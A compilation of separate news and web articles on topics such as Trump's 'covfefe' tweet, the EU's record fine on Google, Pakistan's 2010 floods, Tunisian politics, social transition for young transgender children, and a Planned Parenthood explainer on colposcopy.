-President Trump tweeted a garbled late-night message that baffled everyone on Twitter. (Monica Akhtar/The Washington Post)  Only President Trump knows what was going through his mind — and his smartphone — when he tapped out a confusing statement containing the non-word “covfefe” just after midnight.  But that didn't stop members of Congress from opining on the definition of the most popular nonsense word of Trump's presidency.  For anybody sleeping or off Twitter at 12:06 a.m., Trump Standard Time, the president tweeted a bizarre sentence fragment that read, in its entirety: “Despite the constant negative press covfefe.”  He deleted the message early Wednesday morning, then tweeted again, just after 6 a.m., seemingly to make fun of his confounding “covfefe” tweet.  Who can figure out the true meaning of "covfefe" ??? Enjoy! — Donald J. Trump (@realDonaldTrump) May 31, 2017  Enjoy, indeed: As The Washington Post's Travis M. Andrews reported, the original “covfefe” tweet was retweeted more than 127,000 times and “liked” more than 162,000 times within six hours — “making it one of his most popular tweets in months. By then it had become a massive Internet joke.”  Among the people getting in on the action: other politicians in the nation's capital.  It got kind of ugly.  Some not-so-politely pointed out that “covfefe” was not an actual word, although nobody noted it was unbecoming of the president of the United States.  No Mr President covfefe is not a valid word. #POTUSplayingScrabble https://t.co/j89J4IGXUl — US Rep Brendan Boyle (@RepBrendanBoyle) May 31, 2017  Others offered definitions of what they thought the president was trying to convey.  Rep. Eric Swalwell (D-Calif.) pointed out that the Twitter faux pas came just hours after the nation learned that Trump's White House communications director had resigned (although Swalwell incorrectly said Mike Dubke was fired).  In other news, today the President fired his communications director. #DIY https://t.co/P5l5rPGXrr — Rep. Eric Swalwell (@RepSwalwell) May 31, 2017  Rep. Tim Ryan (D-Ohio) provided a salty sample definition:  If it was, Mr. President, I'd implore you to "Covfefe, already -- for goodness sake." — Congressman Tim Ryan (@RepTimRyan) May 31, 2017  And Rep. Jared Huffman (D-Calif.) took a shot at Trump's ongoing Russia scandal.  "Covfefe" is Russian for "please don't release those Kompromat tapes!" https://t.co/w7D33Nq0Pb — Rep. Jared Huffman (@JaredHuffman) May 31, 2017  Then there was Rep. Ted Lieu, the California Democrat who has become something of a political star by trying to out-tweet Trump.  His 37-character response to the tweet mocked 'round the world:  Yrsvjseubpihfcovswtvnjhgfefesxnklimnq — Ted Lieu (@tedlieu) May 31, 2017  1 of 58 Full Screen Autoplay Close Skip Ad × A look at President Trump’s first year in office, so far View Photos Scenes from the Republican’s first months in the White House. Caption Scenes from the Republican’s beginning months in the White House. Jan. 25, 2017 Trump signs an executive order for border security and immigration enforcement improvements at the Department of Homeland Security in Washington. Chip Somodevilla/Pool photo via Bloomberg News Buy Photo Wait 1 second to continue.  Read more:  Trump says he may end press briefings — here’s a breakdown of the most memorable moments  Stephen Colbert channels Keyser Söze to blast Trump’s Russia ties  Stephen Colbert calls Donald Trump a liar — over and over and over again
-A weekly examination of the Browns' ESPN.com Power Ranking:  Preseason: 28 | Last Week:: 28 | ESPN.com Power Ranking since 2002  The Cleveland Browns (0-1) dropped two spots after ranking No. 28 in the preseason and in Week 1. The Browns are unfortunately in familiar territory. This is the 13th time Cleveland is ranked 30th or lower in the past 22 Power Rankings.  There's really no argument for the Browns to be higher. Cleveland lost at home by 13 points to the Miami Dolphins. The Chargers (No. 26), Buccaneers (No. 28) and Bills (No. 29) all had better shots at winning their games in the fourth quarter.  The only teams ranked lower than the Browns are the Raiders and Jaguars. It will be difficult for the Browns to move up considering they play the next two games on the road against 2012 playoff teams (Baltimore and Minnesota) and return home to face the Cincinnati Bengals (No. 10).
-In 1901, 20-year-old William S. Harley drew up plans for a small engine with a displacement of 7.07 cubic inches (116 cc) and four-inch (102 mm) flywheels. The engine was designed for use in a regular pedal-bicycle frame. Over the next two years, Harley and his childhood friend Arthur Davidson worked on their motor-bicycle using the northside Milwaukee machine shop at the home of their friend, Henry Melk. It was finished in 1903 with the help of Arthur’s brother, Walter Davidson. Upon testing their power-cycle, Harley, and the Davidson brothers found it unable to climb the hills around Milwaukee without pedal assistance. They quickly wrote off their first motor-bicycle as a valuable learning experiment.Work immediately began on a new and improved second-generation machine. This first “real” Harley-Davidson motorcycle had a bigger engine of 24.74 cubic inches (405 cc) with 9.75 inches (25 cm) flywheels weighing 28 lb (13 kg). The machine’s advanced loop-frame pattern was similar to the 1903 Milwaukee Merkel motorcycle (designed by Joseph Merkel, later of Flying Merkel fame). The bigger engine and loop-frame design took it out of the motorized bicycle category and marked the path to future motorcycle designs. The boys also received help with their bigger engine from outboard motor pioneer Ole Evinrude, who was then building gas engines of his own design for automotive use on Milwaukee’s Lake Street.The prototype of the new loop-frame Harley-Davidson was assembled in a 10 ft × 15 ft (3.0 m × 4.6 m) shed in the Davidson family backyard. Most of the major parts, however, were made elsewhere, including some probably fabricated at the West Milwaukee railshops where oldest brother William A. Davidson was then toolroom foreman. This prototype machine was functional by September 8, 1904, when it competed in a Milwaukee motorcycle race held at State Fair Park. It was ridden by Edward Hildebrand and placed fourth. This is the first documented appearance of a Harley-Davidson motorcycle in the historical record.In January 1905, small advertisements were placed in the Automobile and Cycle Trade Journal offering bare Harley-Davidson engines to the do-it-yourself trade. By April, complete motorcycles were in production on a very limited basis. That year, the first Harley-Davidson dealer, Carl H. Lang of Chicago, sold three bikes from the five built in the Davidson backyard shed. Years later the original shed was taken to the Juneau Avenue factory where it would stand for many decades as a tribute to the Motor Company’s humble origins until it was accidentally destroyed by contractors cleaning the factory yard in the early 1970s.In 1906, Harley and the Davidson brothers built their first factory on Chestnut Street (later Juneau Avenue), at the current location of Harley-Davidson’s corporate headquarters. The first Juneau Avenue plant was a 40 ft × 60 ft (12 m × 18 m) single-story wooden structure. The company produced about 50 motorcycles that year.Here are some rare photographs from inside the Harley motorcycle factory from the 1910s and 1920s.
-The European Union's competition watchdog on Tuesday imposed a record 2.42-billion-euro ($2.72 billion) fine on technology giant Google, arguing that the company abused its dominance as a search engine by giving illegal advantage to its own shopping service.  "What Google has done is illegal under EU antitrust rules. It denied other companies the chance to compete on the merits and to innovate," EU competition commissioner Margrethe Vestager said in a press release. "And, most importantly, it denied European consumers a genuine choice of services and the full benefits of innovation."  According to EU rules, the company must now end its conduct within 90 days or face additional penalty payments of up to 5 percent of the average daily worldwide turnover of Alphabet, Google's parent company.  Vestager: 'What Google has done is illegal under EU antitrust rules'  Crucially for Google, Brussels has demanded that the US firm change the business model for Google Shopping to meet the EU's concerns.  An elaborate investigation  Speaking to DW's Barbara Wesel after announcing the decision, Vestager said the EC's casework must "rely on facts, evidence and the case law."  "And we have found that we can prove first that Google is a dominant company, and second that it has abused its dominance in the shopping comparison market," she said.  Read: Barbara Wesel's full interview with EU competition commissioner Margrethe Vestager  Vestager noted that the equivalent of 1.7 billion search queries - or 5.2 terabytes of data - was analyzed as part of the Google investigation.  Investigators found that on average even Google Shopping's most highly-ranked rivals only appeared on page four of Google search results. Vestager said that 90 percent of user-clicks are on page one. "As a result, competitors were much less likely to be clicked on," she said.  More broadly, Vestager said, the probe has established that Google is dominant in general internet search in all 31 countries of the European Economic Area. This will affect other cases the European Commission (EC) might build against the internet giant's various businesses, like Google Images.  She also pointed out that anyone who suffered damages from "Google's illegal behavior can claim compensation in front of national courts."  'Respectfully disagree'  The penalty is likely to leave a bigger dent in Google's pride and reputation than its finances. Alphabet has more than $92 billion in cash, including nearly $56 billion in accounts outside of Europe.  Google maintains that it's just trying to package its search results in a way that makes it easier for consumers to find what they want.  "When you shop online, you want to find the products you're looking for quickly and easily. And advertisers want to promote those same products. That's why Google shows shopping ads, connecting our users with thousands of advertisers, large and small, in ways that are useful for both," Kent Walker, Google's senior vice president and general counsel, said in a statement.  Walker added: "We respectfully disagree with the conclusions announced today. We will review the commission's decision in detail as we consider an appeal, and we look forward to continuing to make our case."  Despite being an EU record, the fine imposed is below the maximum possible of about 8.0 billion euros or 10 percent of Google's total revenue last year. Still, the EU's latest penalty has broken the previous record of 1.06 billion euros ($1.2 billion) set in 2009 against Intel, the US chipmaker.  Intense pressure  The decision comes a year after Vestager shocked the world and angered Washington with an order that Apple repay 13 billion euros in back taxes in Ireland.  The Google Shopping case, launched in 2010, is one of three against Google and of several against US companies including Starbucks, Apple, Amazon and McDonald's. The cases have stoked tensions with Washington and Brussels could now face the wrath of US President Donald Trump, who won office on his "America First" slogan.  The EU's decision comes after a long negotiation period with many twists and turns in which the two sides tried to settle the case amicably. Vestager's predecessor, the Spaniard Joaquin Almunia, made three attempts to resolve the dispute but in each case intense pressure by national governments, rivals and privacy advocates scuppered the effort.  When asked about potential retaliation from Washington, Vestager stressed the importance US officials accord to the rule of law. "What we have in common is that we build on the rule of law." She also rejected the talk of a "competition war" between Brussels and Washington, saying that the penalty imposed on Google "has nothing to do with any of that."  "This is case work, this is antitrust, and what we have found is illegal behavior breaching European legislation," she told DW.  The commissioner also noted that regulators are making "good progress" in the EC's other Google probes into Android and search advertising, and that the "preliminary conclusion" is that they breach EU antitrust rules.  sri/rd (Reuters, dpa, AFP, AP)
-Flood Gives Pakistan, U.S. Chance To Build Bridges  The fierce flooding in northwest Pakistan is a catastrophe that's killed more than 1,000 people, left thousands homeless and millions more in desperate need of aid. Does the disaster also create an opportunity for Pakistan and the United States to win hearts and minds with food and assistance? Host Scott Simon talks with Shuja Nawaz, director of the South Asia Center at the Atlantic Council.  SCOTT SIMON, host:  The fierce flooding in northwest Pakistan is a catastrophe that's killed more than 1,000 people, left thousands more homeless and hungry, and millions in desperate need of aid. The floods have struck an area that's also been a battleground between the government of Pakistan and the Taliban. Does this disaster also create an opportunity for Pakistan and the United States to win hearts and minds with food and assistance?  In an op-ed piece in the Washington Post this week, Shuja Nawaz, director of the South Asia Center at the Atlantic Council, writes about the chances of building trust in Pakistan. Mr. Nawaz joins us in our studio. Thanks so much for being with us.  Mr. SHUJA NAWAZ (South Asia Center, Atlantic Council): Thank you, Scott.  SIMON: Tell us about what you see as a window of opportunity.  Mr. NAWAZ: Well, first I see the tragedy, which is the worst in Pakistan's history and the worst since the last 80 years. But I also see an opportunity because the United States and Pakistan have been on and off allies over the years, and there is still a level of distrust between them that is still deep. And perhaps when Pakistanis see the United States actually on the ground helping ordinary people, there will be the grounds for removing this distrust.  SIMON: You write that the sight of U.S. helicopters, which might alarm some people, is now reassuring in Pakistan.  Mr. NAWAZ: Absolutely. And this harkens back to the U.S. assistance during the 2005 earthquake when the same type of helicopters, the Chinooks, were being referred to as angels of mercy. And they see Americans doling out this assistance, standing side by side with Pakistani soldiers. I think that means a lot to the ordinary people.  SIMON: Recent opinion polls have been cited, a lot in both countries, that show almost 60 percent of the Pakistani public considers the U.S. to be some kind of adversary. But in this welter of polls you have noticed another statistic.  Mr. NAWAZ: Yes. Something like 64 percent of the Pakistanis polled by the Pew Global Attitude survey that was released recently indicates that 64 percent of the people polled actually want to improve relations with the United States. I see that as an opportunity. Not just for the United States but for Pakistan too, because Pakistan needs to be a member of the polity of nations, working with states like the United States and other trading partners.  And if it can build on this kind of collaborative arrangement, rather than simply a kind of patron-client relationship, which has been the characteristic in the past, then perhaps there is some hope.  SIMON: Now, we have also read that the Taliban has been trying to be of assistance.  Mr. NAWAZ: Not the Taliban so much as the Panjabi military groups that are allies of the Taliban. They have been very active through their social services groups. They were active in the earthquake zone too, and in fact in many cases worked in the same areas that the U.S. was providing assistance - very ironic.  They have been active, and that's largely because the government, unfortunately, has been very inept and slow. And when government creates a vacuum, then these groups fill it with social services. So I think this is a warning for the government now that particularly as the aid starts flowing into Pakistan, the government had better get its act together and the government better show its face on a regular basis and not the kind of sporadic hit and run, which government leaders have been doing.  I mean, it was very sad and noticeable that the president of Pakistan was out of the country.  SIMON: He was in London.  Mr. NAWAZ: He was in France and then in the U.K. throughout the period that the flood sort of ravaging his country, came back and went for essentially a photo op into one province in Sinth(ph).  So while these meetings may be important, I think the people would want to see their leaders share their misery in the sense that they can see what the people are going through and see what the government is trying to do to help.  SIMON: Shuja Nawaz is the author of "Pakistan in the Danger Zone: A Tenuous U.S.-Pakistan Relationship." Thanks so much for being with us.  Mr. NAWAZ: My pleasure.  Copyright © 2010 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.  NPR transcripts are created on a rush deadline by Verb8tm, Inc., an NPR contractor, and produced using a proprietary transcription process developed with NPR. This text may not be in its final form and may be updated or revised in the future. Accuracy and availability may vary. The authoritative record of NPR’s programming is the audio record.
-End-of-term approval ratings for presidents are valuable in forecasting voter preferences in the following election. The higher a president's job approval ratings are at the end of his term, the more likely it is a candidate from his party will succeed him in the White House.  That, of course, is not always the case. Democratic President Bill Clinton left office with a relatively high approval rating in 2000, but his impeachment during a second term harmed the chances that his vice president, Al Gore, would succeed him. Republican George W. Bush narrowly won the White House in the 2000 election, though he lost the popular vote.  President Barack Obama's sound approval rating may not be an indicator of Democrat Hillary Clinton's chances in 2016, either. The last time voters elected a Democrat to the White House after a president from the same party had just served a full term was in 1856, before the Civil War.
-Tunisian Prime Minister Habib Essid delivers a speech during a joint news conference with Prime Minister of Libya's unity government Fayez Seraj (not pictured) in Tripoli, Libya, May 6, 2016. REUTERS/Ismail Zitouny  TUNIS (Reuters) - Tunisian lawmakers voted on Saturday to dismiss Prime Minister Habib Essid from office during a no-confidence ballot in parliament, clearing the way for a new government that must push through delayed economic reforms.  Essid, a technocrat in office less than two years, had been under fire for a lack of progress on a financial reforms package to create growth and jobs. President Beji Caid Essebsi also called for a new unity government to speed up reforms.  Out of the 191 lawmakers present for the vote, 118 voted to sack Essid. Only three supported him and others abstained.  A new premier will likely be named after negotiations within the ruling coalition of four major parties. That may include a change in cabinet with a new prime minister.  Essid had earlier this year clashed with President Beji Caid Essebsi, who had called for a new unity government to overcome political divisions in the ruling coalition and respond more quickly to economic and security challenges.  Since its 2011 revolution to oust Zine El Abidine Ben Ali, Tunisia has emerged as a democracy praised as a model for the region. But militant attacks have tested the government and political infighting has slowed economic progress.  Essebsi has said the country needs a more dynamic government ready to take audacious decisions to bring about the liberalisation and cost-cutting required for an overhaul of the North African state’s economy.  Three Islamist militant attacks last year - including gun attacks on foreign visitors at a museum and a beach resort - have badly damaged the tourism industry, which makes up around 8 percent of the economy and is a major source of jobs.
-Sebastien Buemi set the fastest time of the day for the second day in a row at Donington Park. His lap time of 1.31.050s is the fastest set by a Formula E racing car to date in testing and breaks his own benchmark lap time from 2014 (1.31.083).  Buemi was driving the blue and yellow Renault e.dams which looks to be a formidable machine. We understand that the car is running a twin speed gearbox supplied by SADEV.  Last summer’s testing showed that Donington Park can be a difficult place to compare teams’ performance, with the street courses used for racing being very different environments and asking very different things from conventional track such as Donington. That means we won’t really know just how competitive the Renault package is until the racing starts in October. However, Buemi and the French squad proved a particularly effective combination last season and it looks as though he is set to mount an even stronger challenge for the drivers’ title in 2015-16.  Meanwhile, the man who beat him to the first season title, Nelson Piquet, had a quiet day as NextEV TCR reportedly shipped equipment to Germany for analysis.
-German police will deploy 1,500 officers to the streets of Cologne on New Year’s Eve and implement a number of increased security plans, aiming to prevent a repeat of the wave of sexual assaults that were reported on the holiday last year.  In addition to federal police officers and city security officials, trained specialists will be available to help women and girls in case of harassment, intimidation, assault, or rape, Deutsche Welle reported.  Read more  Officers will wear reflective vests to make themselves highly visible, police chief Jürgen Mathies said during a presentation of the city's New Year's Eve security plan on Monday.  The city will also limit access to the immediate area around the city's cathedral, the site of many of last year's alleged assaults, which on that day were reported in their hundreds. The church, the adjacent square, and nearby buildings will be illuminated in bright colors.  Bags will be searched, and fireworks will be strictly prohibited in the cordoned off area. Bridges crossing the Rhine will be blocked off at certain times to avoid "unclear situations."  CCTV cameras will film the area in front of the main train station, also a scene of last year's assaults. The area will also be more brightly lit than usual.  The new safety provisions are being seen as a huge improvement from last year, when just 140 officers were deployed to the streets of Cologne on New Year's Eve, a night which resulted in almost 1,200 criminal complaints being made to police – around 500 of which were related to sexual assault.  Read more  Mathies acknowledged last year's violence during his presentation on Monday, saying that "what happened last year can never happen again."  Those thoughts were echoed by Cologne Mayor Henriette Reker.  "After last New Year's Eve's shocking assaults, the city has taken appropriate measures," she told reporters on Monday. "We want people to experience the true Cologne: peaceful, joyful – a city with a sense of community."  Last year's attacks led to public outrage against Chancellor Angela Merkel's open-door policy for refugees, as many of the sexual assaults were allegedly committed by men described as being of North African or Middle Eastern descent.  The incidents also led to widespread criticism of Cologne authorities, who were accused of covering up what truly happened. One report stated that police had been ordered to remove the word “rape” from a memo on the violence. The city’s police chief was forced into early retirement over his handling of the situation.  The reported assaults came in the midst of the largest refugee crisis since World War II, which saw more than 1 million migrants and refugees enter Germany in 2015.
-Canada has fired a dozen staffers at its Haiti embassy and is probing others amid an internal fraud investigation that has resulted in estimated government losses of $1.7 million, an official said Tuesday.  Jocelyn Sweet, a spokeswoman for Global Affairs Canada, said the probes that began in 2015 have revealed that locally recruited employees at the Port-au-Prince embassy set up "various fraud schemes" since 2004 that inflated invoices and resulted in the theft of property, among other things.  Canada's international assistance program in Haiti and its humanitarian response to Hurricane Matthew's destruction were not impacted, she stressed.  Story continues below advertisement  Meanwhile, an administrative probe is ongoing to review the behaviour of Canadian staffers at the embassy in Haiti.  There have been no criminal charges filed so far.  Sweet said the Haiti findings have launched audits in other "high fraud risk" locations to determine whether similar cons could be taking place at any of the country's other embassies abroad.  Risk assessments identified Canadian missions in Russia, Nigeria, Kenya, India and Algeria that "could be exposed to the same risk factors that manifested in Haiti," she said.
-CALGARY AB, March 8, 2017 – Today, IBM Canada (NYSE: IBM) and District Ventures have announced the launch of the District Ventures and IBM Innovation Space – Calgary, a new innovation accelerator designed to bring entrepreneurs and big enterprise together to solve some of Canada’s biggest business challenges. Located in Calgary, this unique innovation accelerator will help companies incubate and innovate ideas more rapidly, moving their business plans to commercialization.  The District Ventures and IBM Innovation Space – Calgary will enable entrepreneurs at various stages of their business development to excel through mentorships, exposure to clients, collaboration, and support through the use of powerful technologies such as the IBM Bluemix hybrid cloud development platform and IBM Watson services. Leveraging the success of District Ventures and IBM in accelerating growth stage companies, entrepreneurs will engage with high-level executives, investors, mentors, and each other to further innovate and tackle challenges identified by many of Canada’s leading industries, such as natural resources, healthcare, clean tech, fintech, and agriculture.  “Entrepreneurialism isn’t reserved for start-ups. It should be embraced by companies large and small, by innovators in the smallest of garages to the most sophisticated of laboratories and boardrooms,” said Arlene Dickinson, CEO of District Ventures. “This partnership is a perfect example of what happens when big business and entrepreneurs join forces to do something amazing. Together with IBM, District Ventures is creating a unique accelerator model that matches large enterprises with tenacious innovators who, by using the latest in disruptive technology, can bring real-world solutions to businesses of any size.”  “This Innovation Space is just one more example of IBM’s continued investment in Canadian innovation and entrepreneurship,” said Dino Trevisani, president of IBM Canada. “With District Ventures, IBM will be providing an ecosystem that enables unprecedented agility, value growth, and the capacity to create competitive advantage in the marketplace. This is demand-based innovation at its strongest, leveraging the success of Canadian business and some of the most powerful technologies in the world.”  At the outset, the District Ventures and IBM Innovation Space – Calgary will facilitate approximately 20 entrepreneur and large industry collaborations per year. For more information, visit: dv-ibm-innovation-space.com.  About District Ventures  Founded in October 2015 by Arlene Dickinson, dragon on CBC’s Dragons’ Den and author of best-selling books Persuasion and All In, District Ventures is the first accelerator of its kind in Canada. Located in Calgary, District Ventures connects innovative early-stage entrepreneurs in the food and beverage and health and wellness sectors with a network of peers, investors and business support. Since opening its doors in October 2015, the accelerator has received over 1000 applications from entrepreneurs across the country. It has accepted 30 companies into its program.  About IBM  IBM is one of Canada’s top ten private R&D investors, and in 2016 contributed more than $478million to Canadian research activities. IBM has a unique approach to collaboration that provides academic researchers, small and large business, start-ups and developers with business strategies and computing tools they need to innovate. Areas of focus include health, agile computing, water, energy, cities, mining, advanced manufacturing, digital media and cybersecurity. IBM and its partners have in the past three years helped create more than 240 high-value jobs and launch more than three dozen new businesses. For more information about IBM’s continued investments in Canadian innovation, please visit: http://www.ibm.com/ibm/ca/en/canadian-innovation.html.  Media Contacts:  Danielle Bartha  Venture Communications  (403) 237-2388 ext. 354  danielle@venturecommunications.ca  Lorraine Baldwin  IBM  (778) 327-7271  lorraine@ca.ibm.com
-NEW YORK (Reuters) - Jodie Patterson’s 3-year-old, Penelope, was brooding and angry until one day she asked her child what was wrong.  Penelope, who was assigned female at birth, was upset “because everyone thinks I’m a girl,” but he said he was really a boy.  “I said, ‘However you feel inside is fine.’” Patterson recalled from their home in Brooklyn, New York. “And then Penelope looked at me and said, ‘No mama, I don’t feel like a boy. I am a boy.’”  Almost immediately, Patterson embraced the reality that Penelope was a transgender boy, and by age 5 he was going to school as a boy. Today, at age 9, Penelope is happy and healthy as a boy who loves karate and super heroes and decided to keep his birth name.  Increasingly across the United States, doctors and parents of transgender children are embracing their identity as soon it starts becoming obvious, sometimes around age 3. Many say they are finding much greater chances of happiness and well-being when children are nurtured in their new gender identity at such a young age.  Although there is not a consensus on the issue, some clinicians who work with transgender children have concluded that when children persistently identify as the nonconforming gender, the best course is to socially transition, or live as the other gender, even at age 3.  Other specialists in the field advocate a more cautious approach because the long-term psychosexual results for young children can vary widely and unpredictably.  In Penelope’s case, his behavioral problems disappeared as soon as his family affirmed his new gender identity, said Patterson, who has five children. “That whole grumpy face became happy face,” Patterson said.  Whatever the age, parental support is crucial.  Fifteen percent of transgender Americans say they ran away from home or were kicked out of the house, according to a survey released on Dec. 8 of nearly 28,000 transgender adults.  The same study, by advocacy group the National Center for Transgender Equality, found transgender adults were nine times more likely than the general population to attempt suicide.  But transgender people with supportive families were far less likely to attempt suicide, be homeless or experience serious psychological distress - by nearly 20-point margins compared with those who lacked family support, the survey said.  With better education, today’s transgender children generally receive much more support than those surveyed adults did in their youth.  The question remains, though, around embracing gender nonconformity: How young is too young?  “WATCHFUL WAITING”  Researchers have long established that children acquire gender identity starting around 3 years old, and for the vast majority who are not transgender, or cisgender, such an identity is unremarkable.  While transgender people may realize their identities at any age, some firmly establish a transgender identity in early childhood, even by age 3.  Some of the pioneering research on transgender issues has come from psychiatrists at VU University Medical Center in the Netherlands, sometimes called “the Dutch group.”  Jodie Patterson (L) and Penelope give an interview at their home in Brooklyn, New York, U.S. December 13, 2016. REUTERS/Brendan McDermid  Advocating “watchful waiting,” the Dutch group urges caution in leading pre-adolescent children into a social transition, in part because a significant though not precisely established percentage will revert back to the natal gender, or gender assigned at birth. Experts say further study is needed to determine how many children make such a reversion in their transgender identity.  The Dutch group sees potential harm in putting a teenager through a second gender transition. They also raise concerns that transition at a young age can distort a child’s sense of reality, requiring later treatment.  But some Americans psychiatrists who work directly with transgender youth have argued that those who are consistent in their gender identity be allowed to transition because they are suffering in the natal gender.  “I support a social transition for a kid who is in distress and needs to live in a different way. And I do so because I am very focused on what the child needs at that time,” said Johanna Olson-Kennedy, medical director of the Center for Transyouth Health and Development at Children’s Hospital Los Angeles, the largest transgender youth clinic in the United States with some 750 patients.  A social transition to the other gender helps children learn, make friends, and participate in family activities. Some will decide later they are not transgender, but Olson-Kennedy says the potential harm in such cases may be overstated.  Because prepubescent transgender children require no more physical change than a new hairstyle and clothes, the initial transition is completely reversible, Olson-Kennedy said.  Of some 1,000 patients she has dealt with, only one switched back to the natal gender, and without any harm, she said.  David Breland, who works with transgender adolescents as director of the Gender Clinic at Seattle Children’s Hospital, offers simple advice for parents: “Listen to the child.”  “They tell us who they are. We don’t force anything on them,” Breland said. “By affirming who they are, there’s definitely better evidence that they do well mentally and physically. So, how could that be wrong?”  LONG-TERM STUDY  One long-term study under way by the University of Washington’s TransYouth Project is attempting to establish the stability rates of transgender identity among youth and the correlation between family acceptance and well-being.  Led by psychology professor Kristina Olson, the study aims to follow 350 transgender kids for 20 years, starting from the ages of 3 to 12.  So far, her team’s research has found that transgender children who transition at a young age do remarkably well as long as the family is supportive. Transgender children aged 3 to 12 who live as the other gender have shown levels of depression equal to a control group of cisgender children, and the transgender group had only minimally more anxiety.  Moreover, observation of a group of 5- to 12-year-olds who were allowed to transition found that they tended to be clear about their gender identity and maintained it as deeply held. A third look at 9- to 14-year-olds concluded that “We found remarkably good mental health outcomes in socially transitioned children.” The long-term study continues, but Olson’s team has published these initial findings in research papers.  DeShanna Neal, a mother of four from Delaware, can attest to the benefits of embracing her young child’s transgender identity.  Her child Trinity, now 13, was determined to be a boy at birth but began identifying as female by age 3. By 4, Trinity was living as a girl at home, but when she started school she went dressed as a boy.  Still, she identified as a girl at school, troubling her teachers and leading to stress for Trinity. A school psychologist determined she suffered from depression.  Neal found a therapist who told her and her husband to fully embrace Trinity’s female identity. She said that the therapist also gave strikingly blunt advice.  Slideshow (6 Images)  “She said, ‘Your daughter already knows who she is. Now you have to decide. Do you want a happy little girl or a dead little boy?’”  They went straight from the therapist to the store to buy Trinity a dress and pink pajamas, and they noticed an immediate change. Their depressed child became happy.  “She saw her dress and she put it on immediately. And she would not take it off,” Neal said. “We never swayed in our love and support for her.”
-Welcome to the latest installment of “Over 90 Percent of What Planned Parenthood Does,” a series on Planned Parenthood Advocates of Arizona’s blog that highlights Planned Parenthood’s diverse array of services — the ones Jon Kyl doesn’t know about.  When talking about Pap tests — particularly when discussing abnormal Pap results — one procedure that comes up a lot is the colposcopy.  It can sound intimidating and clinical on its own. And if you’re anything like me, you may have — ahem — occasionally confused it with the significantly more internal colonoscopy. For the sake of everyone’s anxiety levels, it may be best to set the record straight.  What is a colposcopy, and what should you expect from the procedure?  Why am I getting a colposcopy?  The most common reason for undergoing a colposcopy is having an abnormal Pap test result, particularly one that, when tested for DNA of human papillomavirus, yielded a positive result. Effectively, there are some abnormal cervical cells with HPV present. Because this could potentially progress to cervical cancer down the line, this combination makes health care providers want to get a closer look at what’s going on.  That said, colposcopies are sometimes performed for other reasons, such as genital warts on the cervix, cervicitis (inflamed cervix), or benign cervical polyps.  What does a colposcopy do exactly?  A colposcope, used to perform a colposcopy, basically looks like a pair of binoculars on a stand:  A colposcopy, then, uses a colposcope to get a better view of abnormal cervical cells than a health care provider could obtain via unaided visual examination or a Pap test.  Depending on what the provider sees during the colposcopy, a cervical biopsy or endocervical curettage might also be performed. Both procedures involve removing small amounts of potentially abnormal cervical tissue and sending the samples to a pathology lab.  How should I prepare for my colposcopy?  While most colposcopies are done in a standard doctor’s office, you may be referred to another provider — often a specialist who has a colposcope in their office — for the procedure. At present, Planned Parenthood Arizona is able to provide colposcopies at three of its health centers — in Flagstaff, Central Phoenix, and Tucson — with hopes to expand service locations in the coming year.  Planned Parenthood advises scheduling the procedure for a time when the patient isn’t expecting to be on their period. They also recommend that colposcopy patients refrain from douching, using tampons or penetrative sex toys, putting medications in their vaginas, or having vaginal intercourse for at least 24 hours before the procedure. It can also be a good idea to take an over-the-counter pain reliever about an hour prior to the procedure, particularly if a biopsy is scheduled.  What happens during the procedure?  The first part of a colposcopy is similar to a pelvic exam. The patient lies on the examining table, usually with their feet in stirrups or on other supports. A health care provider will insert a speculum into the vagina so that the cervix is easily visible.  Next, the provider applies a solution to the cervix and vaginal walls. This solution both clears away mucus and also turns any abnormal cells white, which makes them easier to see. Some people report a mild burning from this solution.  After that, the provider places the colposcope right next to the vaginal opening — but still outside the vagina. From there, the provider will examine the cervix for any abnormal cells.  At that point, if the procedure will include a biopsy or endocervical curettage, this is the point at which one will be performed. A punch biopsy involves taking a thin sample of cervical tissue about 3 to 4 millimeters in length while an endocervical curettage involves inserting a small scooplike instrument into the cervix to collect some of the cells inside. After the biopsy, the provider may apply a solution to help stop any bleeding.  From start to finish, the procedure usually takes between 10 and 20 minutes.  Will it hurt?  Pain is an individual thing, so the safest answer is — maybe, though most reports of pain or discomfort suggest that, if such pain is felt, it’s usually fairly mild.  As previously mentioned, during a colposcopy, the doctor will probably use a speculum to hold open the vaginal walls. This generally involves a feeling of pressure, which does end up being uncomfortable or painful to some people. Additionally, the vinegarlike solution used to prepare the vagina and cervix may burn or sting a little. Finally, if a biopsy is performed, it may feel like a momentary sharp pinch or menstrual cramp.  What risks are associated with colposcopies?  Overall, colposcopies — with or without biopsies — are very safe procedures, and the risks associated with them are rare. That said, those rare risks include infection and bleeding heavily enough to require treatment. According to Planned Parenthood, symptoms that require a call to a health care provider include:  heavy bleeding (the American Congress of Obstetricians and Gynecologists quantifies this as using more than one sanitary pad per hour)  abnormally heavy, yellow, or foul-smelling vaginal discharge (aside from the normal after-colposcopy discharge outlined below)  fever  chills  severe abdominal pain  Aside from that, as with any medical test, there’s a risk that a colposcopy and/or biopsy could yield a false result (either negative or positive).  Though colposcopy during pregnancy is safe, some providers recommend delaying further testing until after the birth, especially if a biopsy is indicated. According to the American Journal of Obstetrics and Gynecology, one type of biopsy — endocervical curettage — is considered unacceptable during pregnancy due to the risk of premature membrane rupture.  What side effects can I expect after the procedure?  For a colposcopy without biopsy, there should be little to no discomfort as well as little to no bleeding (spotting only, if anything). Regular activities — including tampon use and all forms of sex, if applicable — can resume right away.  For a colposcopy with biopsy, it’s fairly common to have vaginal pain or soreness lasting for a few days after the procedure, as well as some bleeding for the same amount of time. It’s also normal to have dark vaginal discharge that may look like coffee grounds: This is the solution that was applied to stop the bleeding. It’s advisable to refrain from inserting objects inside the vagina for a few days — including penetrative sex and, depending on the individual provider’s recommendations, tampons — to allow time for the cervix to heal.  I have my colposcopy results. Where do we go from here?  Essentially, this depends on what those results say. For results with lower grade changes — check here for what that means — careful monitoring (such as with repeat Pap tests and/or HPV DNA tests in 6 to 12 months) may be the recommended approach. Other higher grade changes may warrant a procedure, such as cryotherapy or a LEEP, to remove the abnormal cells.  If you have further questions about colposcopies or would like to make an appointment for your own colposcopy, you can contact your nearest Planned Parenthood health center for information about resources in your area.
